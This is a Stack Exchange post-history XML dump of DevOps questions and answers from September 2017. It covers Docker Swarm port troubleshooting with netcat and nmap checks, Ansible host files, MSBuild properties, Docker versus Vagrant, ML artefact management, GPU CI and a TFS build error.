  <row Id="6282" PostHistoryTypeId="2" PostId="1993" RevisionGUID="703e87ef-6245-4f47-8511-ab65f4adf36d" CreationDate="2017-09-12T15:02:15.730" UserId="4290" Text="Could you please try the commands above between all hosts ?&#xD;&#xA;&#xD;&#xA;INSIDE HOST A: &#xD;&#xA;&#xD;&#xA;    nc -zv HOST_B_IP_ADDRESS 2377,4789,7946&#xD;&#xA;    nc -zv HOST_C_IP_ADDRESS 2377,4789,7946&#xD;&#xA;&#xD;&#xA;INSIDE HOST B: &#xD;&#xA;&#xD;&#xA;    nc -zv HOST_A_IP_ADDRESS 2377,4789,7946&#xD;&#xA;    nc -zv HOST_C_IP_ADDRESS 2377,4789,7946&#xD;&#xA;&#xD;&#xA;INSIDE HOST C: &#xD;&#xA;&#xD;&#xA;    nc -zv HOST_A_IP_ADDRESS 2377,4789,7946&#xD;&#xA;    nc -zv HOST_B_IP_ADDRESS 2377,4789,7946&#xD;&#xA;&#xD;&#xA;As explained in https://docs.docker.com/engine/swarm/swarm-tutorial/#open-protocols-and-ports-between-the-hosts, some ports must be available between hosts in order for Docker Swarm to work correctly.&#xD;&#xA;&#xD;&#xA;The error reported sounds like a port related problem. &#xD;&#xA;Maybe is there another application in one of these hosts already using one of the ports needed by Docker ? Maybe a firewall configuration ?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6283" PostHistoryTypeId="2" PostId="1994" RevisionGUID="ba593dc6-49cf-4613-8c81-cbb73841a9d2" CreationDate="2017-09-12T16:06:16.747" UserId="4294" Text="The issue was that the host file did not exist. So, first I created the host file at the location: /usr/local/etc/ansible/hosts&#xD;&#xA;Then after that i could add the hosts to this file.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6285" PostHistoryTypeId="2" PostId="1995" RevisionGUID="921fed4a-fde8-4c84-9e0b-1c9e2b81b463" CreationDate="2017-09-12T20:03:19.323" UserId="3646" Text="Is it possible to pass a dynamic property group to an msbuild task? So if I have the following properties and values:&#xD;&#xA;&#xD;&#xA;`&lt;MyPropertyGroup&gt;&#xD;&#xA;   &lt;Foo&gt;bar&lt;/Foo&gt;&#xD;&#xA;   &lt;Foo1&gt;bar1&lt;/Foo1&gt;&#xD;&#xA;   &lt;Foo2&gt;bar2&lt;/Foo2&gt;&#xD;&#xA;&lt;/MyPropertyGroup&gt;`&#xD;&#xA;&#xD;&#xA;I could call MSBuild with a short property list:&#xD;&#xA;&#xD;&#xA;`&lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;MyPropertyGroup&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But it would be the same as calling the task like this:&#xD;&#xA;&#xD;&#xA;`&lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;&#xD;&#xA;Foo=bar;Foo1=bar1;Foo2=bar2&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;This is helpful is there's a large property list, and allows for only 1 place needs to be maintained." ContentLicense="CC BY-SA 3.0" />
  <row Id="6286" PostHistoryTypeId="1" PostId="1995" RevisionGUID="921fed4a-fde8-4c84-9e0b-1c9e2b81b463" CreationDate="2017-09-12T20:03:19.323" UserId="3646" Text="Passing dynamic properties to an MSbuild task" ContentLicense="CC BY-SA 3.0" />
  <row Id="6287" PostHistoryTypeId="3" PostId="1995" RevisionGUID="921fed4a-fde8-4c84-9e0b-1c9e2b81b463" CreationDate="2017-09-12T20:03:19.323" UserId="3646" Text="&lt;automation&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6288" PostHistoryTypeId="2" PostId="1996" RevisionGUID="0938df40-2c37-4c4b-b873-9e5a1d543ceb" CreationDate="2017-09-12T22:08:38.113" UserId="4175" Text="I have a Ruby on Rails application that has been around for a while, and implemented completely classical, so far. Everything is fine; but since the number of environments we are deploying to (testing, QA, several production envs) have grown, I decided to dockerize the thing.&#xD;&#xA;&#xD;&#xA;A side effect should obviously be that new developers get on board quicker.&#xD;&#xA;&#xD;&#xA;At the moment, I have made a Dockerfile to build the application and run it; I am happy, everything is fine. I am now pondering how to move on:&#xD;&#xA;&#xD;&#xA;- Either make it so that the tests can be run by a simple docker command as well - so that the daily development loop simply consists of edit-rebuild-run-tests (or, for that loop, we'd probably rather just mount/bind the sources that are actually being edited by the dev outside of the container, so we save the explicit &quot;rebuild&quot;. Nothing needs to be precompiled etc. for running the tests anyways.).&#xD;&#xA;- Or use something like Vagrant to streamline the development environments, and don't really use docker for the actual edit-test cycle.&#xD;&#xA;&#xD;&#xA;I am strongly tending to the first option (i.e., KISS), but I have little experience working with this. I can't really speak on the second as I have no real experience with any of those tools like Vagrant that focus on the developers perspective.&#xD;&#xA;&#xD;&#xA;The other developers have no particular experience with any of these tools, so whatever I pick/suggest should better be pretty non-invasive. Everyone has their happy, well-configured VM to develop in, so far. We don't really encountered any problems with developer VMs diverging, or something like that (this being Ruby, after all).&#xD;&#xA;&#xD;&#xA;**Questions:** is there anything wrong with going for my first scenario? Are there *huge* benefits introducing something else aside of docker at this very early stage of our team digging into DevOps tools?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6289" PostHistoryTypeId="1" PostId="1996" RevisionGUID="0938df40-2c37-4c4b-b873-9e5a1d543ceb" CreationDate="2017-09-12T22:08:38.113" UserId="4175" Text="Start dev with purely docker, or something like vagrant (in a to-be-dockerized application)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6290" PostHistoryTypeId="3" PostId="1996" RevisionGUID="0938df40-2c37-4c4b-b873-9e5a1d543ceb" CreationDate="2017-09-12T22:08:38.113" UserId="4175" Text="&lt;docker&gt;&lt;vagrant&gt;&lt;learning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6291" PostHistoryTypeId="2" PostId="1997" RevisionGUID="b0b3163a-2560-4c86-8e9f-c77fefb3df71" CreationDate="2017-09-13T00:27:55.600" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6292" PostHistoryTypeId="1" PostId="1997" RevisionGUID="b0b3163a-2560-4c86-8e9f-c77fefb3df71" CreationDate="2017-09-13T00:27:55.600" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6293" PostHistoryTypeId="2" PostId="1998" RevisionGUID="d7e12e1f-e944-44e0-be1b-88007a85f021" CreationDate="2017-09-13T00:27:55.600" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="6294" PostHistoryTypeId="1" PostId="1998" RevisionGUID="d7e12e1f-e944-44e0-be1b-88007a85f021" CreationDate="2017-09-13T00:27:55.600" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6295" PostHistoryTypeId="11" PostId="21" RevisionGUID="57f2cd0e-860a-4e1c-b385-86025ffc3179" CreationDate="2017-09-13T01:51:17.993" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="6296" PostHistoryTypeId="5" PostId="1998" RevisionGUID="5b37bb7c-c9fc-49a6-a02f-23cdd132aaba" CreationDate="2017-09-13T01:51:24.623" UserId="739" Comment="added 140 characters in body" Text="for questions about cloud computing: running servers or services in a virtualized environment that is usually run off-site by a third party." ContentLicense="CC BY-SA 3.0" />
  <row Id="6297" PostHistoryTypeId="24" PostId="1998" RevisionGUID="5b37bb7c-c9fc-49a6-a02f-23cdd132aaba" CreationDate="2017-09-13T01:51:24.623" Comment="Proposed by 739 approved by 47, 46 edit id of 440" ContentLicense="CC BY-SA 3.0" />
  <row Id="6298" PostHistoryTypeId="5" PostId="1997" RevisionGUID="a8c1610b-dd2c-4458-9917-61fdb8014923" CreationDate="2017-09-13T01:51:26.933" UserId="739" Comment="added 54 characters in body" Text="See also https://en.wikipedia.org/wiki/Cloud_computing" ContentLicense="CC BY-SA 3.0" />
  <row Id="6299" PostHistoryTypeId="24" PostId="1997" RevisionGUID="a8c1610b-dd2c-4458-9917-61fdb8014923" CreationDate="2017-09-13T01:51:26.933" Comment="Proposed by 739 approved by 47, 46 edit id of 439" ContentLicense="CC BY-SA 3.0" />
  <row Id="6300" PostHistoryTypeId="50" PostId="1725" RevisionGUID="978d4f77-b370-4d96-b3a3-d6fb0b8eb84a" CreationDate="2017-09-13T06:19:58.260" UserId="-1" />
  <row Id="6301" PostHistoryTypeId="5" PostId="1995" RevisionGUID="26764b2b-b773-4156-9069-4d079d4a42a5" CreationDate="2017-09-13T07:07:20.140" UserId="60" Comment="Improved code formatting" Text="Is it possible to pass a dynamic property group to an msbuild task? So if I have the following properties and values:&#xD;&#xA;&#xD;&#xA;    &lt;MyPropertyGroup&gt;&#xD;&#xA;       &lt;Foo&gt;bar&lt;/Foo&gt;&#xD;&#xA;       &lt;Foo1&gt;bar1&lt;/Foo1&gt;&#xD;&#xA;       &lt;Foo2&gt;bar2&lt;/Foo2&gt;&#xD;&#xA;    &lt;/MyPropertyGroup&gt;&#xD;&#xA;&#xD;&#xA;I could call MSBuild with a short property list:&#xD;&#xA;&#xD;&#xA;`&lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;MyPropertyGroup&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But it would be the same as calling the task like this:&#xD;&#xA;&#xD;&#xA;    &lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;Foo=bar;Foo1=bar1;Foo2=bar2&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This is helpful is there's a large property list, and allows for only 1 place needs to be maintained." ContentLicense="CC BY-SA 3.0" />
  <row Id="6302" PostHistoryTypeId="24" PostId="1995" RevisionGUID="26764b2b-b773-4156-9069-4d079d4a42a5" CreationDate="2017-09-13T07:07:20.140" Comment="Proposed by 60 approved by -1 edit id of 441" ContentLicense="CC BY-SA 3.0" />
  <row Id="6303" PostHistoryTypeId="5" PostId="1995" RevisionGUID="f399a4cf-e5f3-44f6-b617-f3b951305376" CreationDate="2017-09-13T07:07:20.140" UserId="40" Comment="edited body; edited title" Text="Is it possible to pass a dynamic property group to an MSbuild task? So if I have the following properties and values:&#xD;&#xA;&#xD;&#xA;    &lt;MyPropertyGroup&gt;&#xD;&#xA;       &lt;Foo&gt;bar&lt;/Foo&gt;&#xD;&#xA;       &lt;Foo1&gt;bar1&lt;/Foo1&gt;&#xD;&#xA;       &lt;Foo2&gt;bar2&lt;/Foo2&gt;&#xD;&#xA;    &lt;/MyPropertyGroup&gt;&#xD;&#xA;&#xD;&#xA;I could call MSBuild with a short property list:&#xD;&#xA;&#xD;&#xA;`&lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;MyPropertyGroup&quot; /&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;But it would be the same as calling the task like this:&#xD;&#xA;&#xD;&#xA;    &lt;MSBuild Projects=&quot;$(SolutionFile)&quot; Targets=&quot;Build&quot; Properties=&quot;Foo=bar;Foo1=bar1;Foo2=bar2&quot; /&gt;&#xD;&#xA;&#xD;&#xA;This is helpful if there's a large property list, and allows for only 1 place needs to be maintained." ContentLicense="CC BY-SA 3.0" />
  <row Id="6304" PostHistoryTypeId="4" PostId="1995" RevisionGUID="f399a4cf-e5f3-44f6-b617-f3b951305376" CreationDate="2017-09-13T07:07:20.140" UserId="40" Comment="edited body; edited title" Text="How to pass dynamic properties to an MSbuild task?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6305" PostHistoryTypeId="2" PostId="1999" RevisionGUID="c7a89ace-ac54-4507-a04c-8823db6d9f87" CreationDate="2017-09-13T09:39:43.217" UserId="707" Text="Normally, one important topic in DevOps is how we take care of automated creation and delivery of software artefacts.&#xD;&#xA;&#xD;&#xA;With the rise of data science there is a new type of artefact - monolitic binary blobs representing a trained neural net for example or other machine learning models. Such a blob can have a size many GB and its creation is not yet standardized AFAIK which brings organizations back to the pre-CI age. Nevertheless, they have their version and associated collections of training data (corpora) which tend to grow rapidly as well.&#xD;&#xA;&#xD;&#xA;What are best practices to address this new challenge using DevOps methods - if even possible?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6306" PostHistoryTypeId="1" PostId="1999" RevisionGUID="c7a89ace-ac54-4507-a04c-8823db6d9f87" CreationDate="2017-09-13T09:39:43.217" UserId="707" Text="Data Science pipelines and monolitic model blobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="6307" PostHistoryTypeId="3" PostId="1999" RevisionGUID="c7a89ace-ac54-4507-a04c-8823db6d9f87" CreationDate="2017-09-13T09:39:43.217" UserId="707" Text="&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;automation&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6308" PostHistoryTypeId="5" PostId="1969" RevisionGUID="bd3178a7-9305-436f-9f26-9f8b050bd8ed" CreationDate="2017-09-13T10:04:36.203" UserId="707" Comment="added 581 characters in body" Text="Consider the following setup:&#xD;&#xA;&#xD;&#xA;Three hosts in the same network:&#xD;&#xA;&#xD;&#xA; - Host A - SLES &#xD;&#xA; - Host B - Ubuntu&#xD;&#xA; - Host C - Ubuntu&#xD;&#xA;&#xD;&#xA;Then, the following has worked:&#xD;&#xA;&#xD;&#xA; - Init swarm on A&#xD;&#xA; - Join swarm at B, make B a manager&#xD;&#xA;&#xD;&#xA;The following is however not working:&#xD;&#xA;&#xD;&#xA; - Join swarm at C as worker with token issued from A&#xD;&#xA; - Join swarm at C as worker with token issued from B&#xD;&#xA;&#xD;&#xA;In both cases we get the same error:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: could not find local IP address: &#xD;&#xA;    dial udp: address udp/2377​: unknown port&#xD;&#xA;&#xD;&#xA;Honestly, I have even no idea how to interpret this message.&#xD;&#xA;&#xD;&#xA;Any ideas?..&#xD;&#xA;&#xD;&#xA;UPD. nmap results for ports 2377,4789,7946 (hint from Felipe in a comment below) - no idea what are they good for but now it is clear that something is wrong with host C. &#xD;&#xA;&#xD;&#xA;**Host A** (Primary manager)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp open   unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Host B** (Secondary manager)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp open   unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;**Host C** (should become a worker)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp closed unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp closed unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Host D** (successfully added as a worker)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp closed unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6309" PostHistoryTypeId="2" PostId="2000" RevisionGUID="e5406fd4-030a-45f2-a782-cc10e28643c1" CreationDate="2017-09-13T12:19:44.043" UserId="4313" Text="Run:&#xA;&#xA;    $ sudo touch /usr/local/etc/ansible/hosts&#xA;    $ sudo vi /usr/local/etc/ansible/hosts&#xA;&#xA;To create a file and then open it." ContentLicense="CC BY-SA 3.0" />
  <row Id="6310" PostHistoryTypeId="2" PostId="2001" RevisionGUID="4936073d-9d32-4776-8f22-54005f1b46ec" CreationDate="2017-09-13T16:07:45.937" UserId="47" Text="Personally I don't see any reason for which an [Artefact Repository][1] - the recommeneded DevOps tool of managing artefacts - wouldn't be applicable to trained neural nets or other artefacts. &#xD;&#xA;&#xD;&#xA;The artefact size *might* have some upper limit for a particular artefact repository, but in such case it would be a technical or policy limitation one, not a fundamental/principial one.&#xD;&#xA;&#xD;&#xA;As for applying DevOps methodologies for the process producing these artefacts, I think most if not all of them can be applied equally well, as long as the artefacts:&#xD;&#xA;&#xD;&#xA;- are produced from some sort of specification which supports change versioning (equivalent to software source code)&#xD;&#xA;- are built via a repeatable and automatable process&#xD;&#xA;- are validated using some sort of repeatable and automatable verification (similar to QA), eventually using some supporting data (training data in this case, equivalent to DB snapshots, for example)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/452/what-is-an-artifact-repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="6311" PostHistoryTypeId="5" PostId="2001" RevisionGUID="9b21ee43-bb6e-4815-b185-3ec6386aea50" CreationDate="2017-09-13T16:12:58.623" UserId="47" Comment="added clarification" Text="Personally I don't see any reason for which an [Artefact Repository][1] - the recommeneded DevOps tool of managing artefacts - wouldn't be applicable to trained neural nets or other artefacts. &#xD;&#xA;&#xD;&#xA;The artefact size *might* have some upper limit for a particular artefact repository, but in such case it would be a technical or policy limitation one, not a fundamental/principial one.&#xD;&#xA;&#xD;&#xA;As for applying DevOps methodologies for the process producing these artefacts, I think most if not all of them can be applied equally well, as long as the artefacts:&#xD;&#xA;&#xD;&#xA;- are produced from some sort of specification which supports change versioning (equivalent to software source code)&#xD;&#xA;- are built via a repeatable and automatable process&#xD;&#xA;- are validated using some sort of repeatable and automatable verification (similar to QA), eventually using some supporting data (training data in this case, equivalent to DB snapshots, for example)&#xD;&#xA;&#xD;&#xA;Side note: monolithic software code delivery is still a big deal and is perfectly maintainable with DevOps methodologies (with a bit of care), not everything can be split in microservices. Size doesn't matter enough to make DevOps not applicable.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/452/what-is-an-artifact-repository" ContentLicense="CC BY-SA 3.0" />
  <row Id="6312" PostHistoryTypeId="2" PostId="2002" RevisionGUID="238e1cc8-8653-4865-b664-22f04b4a2cfc" CreationDate="2017-09-14T07:36:47.300" UserId="707" Text="With typical continuous integration environments, you configure an environment capable to execute compilation and test batches (agent, slave..) coordinated by a scheduler (master, server..)&#xD;&#xA;&#xD;&#xA;But what if your &quot;client&quot; environment is a GPU cluster used to perform model trainings in different configurations? Is there any difference or would you just for example let the head cluster node to incorporate a Jenkins slave? (or Bamboo agent etc) " ContentLicense="CC BY-SA 3.0" />
  <row Id="6313" PostHistoryTypeId="1" PostId="2002" RevisionGUID="238e1cc8-8653-4865-b664-22f04b4a2cfc" CreationDate="2017-09-14T07:36:47.300" UserId="707" Text="CI/CD with a GPU cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="6314" PostHistoryTypeId="3" PostId="2002" RevisionGUID="238e1cc8-8653-4865-b664-22f04b4a2cfc" CreationDate="2017-09-14T07:36:47.300" UserId="707" Text="&lt;continuous-integration&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6315" PostHistoryTypeId="5" PostId="2002" RevisionGUID="51510d75-3b86-40a1-97fd-1329836b8844" CreationDate="2017-09-14T08:53:02.297" UserId="210" Comment="added 27 characters in body" Text="With typical continuous integration environments, you configure an environment capable to execute compilation and test batches (agent, slave..) coordinated by a scheduler (master, server..)&#xD;&#xA;&#xD;&#xA;But what if your &quot;client&quot; environment is a Graphics Processing Unit (GPU) cluster used to perform model trainings in different configurations? Is there any difference or would you just for example let the head cluster node to incorporate a Jenkins slave? (or Bamboo agent etc) " ContentLicense="CC BY-SA 3.0" />
  <row Id="6316" PostHistoryTypeId="5" PostId="2002" RevisionGUID="0824f02f-9c00-4145-9b67-ea28beded50b" CreationDate="2017-09-14T08:54:32.050" UserId="707" Comment="deleted 3 characters in body" Text="With typical continuous integration environments, you configure an environment capable to execute compilation and test batches (agent, slave..) coordinated by a scheduler (master, server..)&#xD;&#xA;&#xD;&#xA;But what if your &quot;client&quot; environment is a Graphics Processing Unit (GPU) cluster used to perform model trainings in different configurations? Is there any difference or would you just for example let the head cluster node incorporate a Jenkins slave? (or Bamboo agent etc) " ContentLicense="CC BY-SA 3.0" />
  <row Id="6317" PostHistoryTypeId="5" PostId="1969" RevisionGUID="9cfa5a4f-c1e0-4320-a316-828be9883127" CreationDate="2017-09-14T09:08:02.280" UserId="707" Comment="added 172 characters in body" Text="Consider the following setup:&#xD;&#xA;&#xD;&#xA;Three hosts in the same network:&#xD;&#xA;&#xD;&#xA; - Host A - SLES &#xD;&#xA; - Host B - Ubuntu&#xD;&#xA; - Host C - Ubuntu&#xD;&#xA;&#xD;&#xA;Then, the following has worked:&#xD;&#xA;&#xD;&#xA; - Init swarm on A&#xD;&#xA; - Join swarm at B, make B a manager&#xD;&#xA;&#xD;&#xA;The following is however not working:&#xD;&#xA;&#xD;&#xA; - Join swarm at C as worker with token issued from A&#xD;&#xA; - Join swarm at C as worker with token issued from B&#xD;&#xA;&#xD;&#xA;In both cases we get the same error:&#xD;&#xA;&#xD;&#xA;    Error response from daemon: could not find local IP address: &#xD;&#xA;    dial udp: address udp/2377​: unknown port&#xD;&#xA;&#xD;&#xA;Honestly, I have even no idea how to interpret this message.&#xD;&#xA;&#xD;&#xA;Any ideas?..&#xD;&#xA;&#xD;&#xA;UPD. nmap results for ports 2377,4789,7946 (hint from Felipe in a comment below) - no idea what are they good for but now it is clear that something is wrong with host C. &#xD;&#xA;&#xD;&#xA;**Host A** (Primary manager)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp open   unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Host B** (Secondary manager)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp open   unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;**Host C** (should become a worker)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp closed unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp closed unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Host D** (successfully added as a worker)&#xD;&#xA;&#xD;&#xA;    PORT     STATE  SERVICE&#xD;&#xA;    2377/tcp closed unknown&#xD;&#xA;    4789/tcp closed unknown&#xD;&#xA;    7946/tcp open   unknown&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Finally, with host B there is the actual problem.&#xD;&#xA;&#xD;&#xA; - swarm init =&gt; OK; port 2377 is open&#xD;&#xA; - swarm leave =&gt; port is closed again&#xD;&#xA; - swarm join =&gt; error &quot;port not found&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6318" PostHistoryTypeId="2" PostId="2003" RevisionGUID="b047ee14-f405-4d5c-a02a-2626cb55680b" CreationDate="2017-09-14T12:29:22.187" UserId="4290" Text="Vagrant, in this case, would simply add a lot of unnecessary overhead into your testing environment. You can create containers that quickly test specific groups of functionalities and paste the results somewhere. Your team won't spend much time learning how to start these containers as it is usually a simply command. Most of changes are going to be done inside the code, not into the testing environment. But if you need to change the test environment, the Dockerfiles must be in an easy to access place. You could also automate the build process of containers linking the Dockerfile (e.g. from a GitHub repository) into the DockerHub or Store.&#xD;&#xA;I can't see a reason here for not going into Docker. This knowledge will be more usefull for your team than Vagrant skills.&#xD;&#xA;&#xD;&#xA;You can read more about it here: https://stackoverflow.com/questions/16647069/should-i-use-vagrant-or-docker-for-creating-an-isolated-environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="6319" PostHistoryTypeId="2" PostId="2004" RevisionGUID="a8a34faf-0d95-4107-90ee-f70c40fad4c9" CreationDate="2017-09-14T13:04:21.533" UserId="4322" Text="I am running a build process on an on-prem server with TFS 2017 and vNext. The build _works_, but it takes 20+ minutes. This is an application that does msbuild, ngc, yarn, and karma. I would be totally fine with leaving it the way it is except for the 20 minutes it takes. I found a way to reduce the build by at least 8 minutes by running two of the yarn scripts in parallel. I have been able to successfully run these two scripts in parallel on my laptop, on a VM, and directly on the build server (I remote into the server to do it). However, every attempt to make this work through vNext fails with the exact same error.&#xD;&#xA;&#xD;&#xA;Here is the error:  &#xD;&#xA;&#xD;&#xA;    2017-09-13T20:06:17.9961416Z 13 09 2017 15:06:13.808:ERROR [karma]: TypeError: Cannot read property 'profile' of null&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at factoryCallback (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\Compilation.js:269:13)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at factory (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:253:5)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at applyPluginsAsyncWaterfall (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:99:14)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\tapable\lib\Tapable.js:204:11&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at NormalModuleFactory.params.normalModuleFactory.plugin (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\CompatibilityPlugin.js:52:5)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at NormalModuleFactory.applyPluginsAsyncWaterfall (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\tapable\lib\Tapable.js:208:13)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at resolver (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:74:11)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at process.nextTick (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:205:8)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at _combinedTickCallback (internal/process/next_tick.js:67:7)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at process._tickCallback (internal/process/next_tick.js:98:9)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z 13 09 2017 15:06:13.823:ERROR [karma]: TypeError: Cannot read property 'profile' of null&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at factoryCallback (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\Compilation.js:269:13)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at factory (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:253:5)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at applyPluginsAsyncWaterfall (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:99:14)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\tapable\lib\Tapable.js:204:11&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at NormalModuleFactory.params.normalModuleFactory.plugin (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\CompatibilityPlugin.js:52:5)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at NormalModuleFactory.applyPluginsAsyncWaterfall (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\tapable\lib\Tapable.js:208:13)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at resolver (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:74:11)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at process.nextTick (D:\Agents\Agent1\_work\126\s\Src\BFY.Admin.Web\node_modules\webpack\lib\NormalModuleFactory.js:205:8)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at _combinedTickCallback (internal/process/next_tick.js:67:7)&#xD;&#xA;    2017-09-13T20:06:17.9961416Z     at process._tickCallback (internal/process/next_tick.js:98:9)&#xD;&#xA;&#xD;&#xA;The two scrips that are running are:  &#xD;&#xA;&#xD;&#xA;    &quot;test&quot;: &quot;SET NODE_ENV=test&amp;&amp; karma start karma.conf.js&quot;&#xD;&#xA;and  &#xD;&#xA;&#xD;&#xA;    &quot;build:prod:aot&quot;: &quot;rimraf aot &amp;&amp; ngc -p ./tsconfig-aot.json &amp;&amp; SET NODE_ENV=production&amp;&amp; webpack&quot;&#xD;&#xA;&#xD;&#xA;The error is coming from karma. I get the same error from vNext no matter how I try to run these two scripts. I have tried  &#xD;&#xA;&#xD;&#xA;- Adding a script to run them with the `concurrently` npm package. Executed using a Windows batch command.&#xD;&#xA;- Adding a script to run them with the `npm-run-all` npm package. Executed using a Windows batch command.&#xD;&#xA;- Running a powershell .ps1 script to run each command with Start-Job.&#xD;&#xA;- Running a .bat file that in turn runs two other .bat files, one for each script.&#xD;&#xA;&#xD;&#xA;In every case I get the exact same error from vNext. In every case I get the expected result when running from my laptop, a VM, and when running the script while logged into the build server.  &#xD;&#xA;&#xD;&#xA;What am I missing here? Why is vNext behaving differently?" ContentLicense="CC BY-SA 3.0" />
